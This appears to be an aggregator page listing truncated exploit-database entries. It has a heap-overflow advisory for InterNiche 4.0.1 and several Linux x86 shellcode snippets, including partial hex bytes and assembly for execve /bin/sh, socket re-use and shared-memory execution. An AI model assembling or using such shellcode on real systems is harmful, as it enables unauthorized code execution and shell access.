Heap overflow

An issue was discovered in HCC embedded InterNiche 4.0.1. A potential heap buffer overflow exists in the code that parses the HTTP POST request, due to lack of size validation. This vulnerability requires the attacker to send a crafted HTTP POST request with a URI longer than 50 bytes. This leads...

linux/x86 execve("/usr/bin/ssh", "127.0.0.1") - 50 bytes

// linux/x86 execve"/usr/bin/ssh", "/usr/bin/ssh", "127.0.0.1", NULL - 50 bytes // Febriyanto Nugroho include char shellcode = "\x6a\x0b" "\x58" "\x99" "\x52" "\x68\x2f\x73\x73\x68" "\x68\x2f\x62\x69\x6e" "\x68\x2f\x75\x73\x72" "\x89\xe3" "\x52" "\x6a\x31" "\x66\x68\x30\x2e" "\x66\x68\x30\x2e"...

Linux x86 - Socket Re-use Shellcode 50 bytes

Linux x86 - Socket Re-use Shellcode 50 bytes. CVE-2014-4943. Shellcode exploit for linx86 platform / Socket Re-use Combo for linux x86 systems by ZadYree -- 50 bytes Made using sockfd trick + dup20,0, dup20,1, dup20,2 + execve /bin/sh Thanks: Charles Stevenson, ipv, 3LRVS research team gcc -o...

linux/x86 execve /bin/sh setreuid(12,12) 50 bytes

No description provided by source. / Linux/x86 An example of setregid, execve /bin/sh I used this in practise, hence the setregid12, 12; / include stdio.h char c0de = / main: / / setregid12, 12; / \x29\xc0 / subl %eax, %eax / \xb0\x47 / movb $71, %al / \x29\xdb / subl %ebx, %ebx / / Here's the GI...

linux/x86-64 - small novelty Happy B-day HKM shellcode 50 bytes

-= Happy B-day 'HKM' Shellcode 50 bytes -= Platform: Linux x8664 -= Author: nitr0us - http://twitter.com/nitr0usmx -= Date: XX/Sept/2012 | | | | | \ | | | | | | | | | || | | | | | | | | | | | | | |/ | ' | ' | | | | | / |/ | | | | | | | | | | | | | | | | | | | | || | | | | | | | | || | || || || ||...

linux/x86 shared memory exec 50 bytes

No description provided by source. / [email protected] - http://www.nopninjas.com Platform: Linux x86 Length: 50 bytes - This shellcode connects to the shared memory segment matching the key and executes the code at that address. xorl %edi,%edi xorl %esi,%esi xorl %edx,%edx movl $0xdeadbeef,%ec...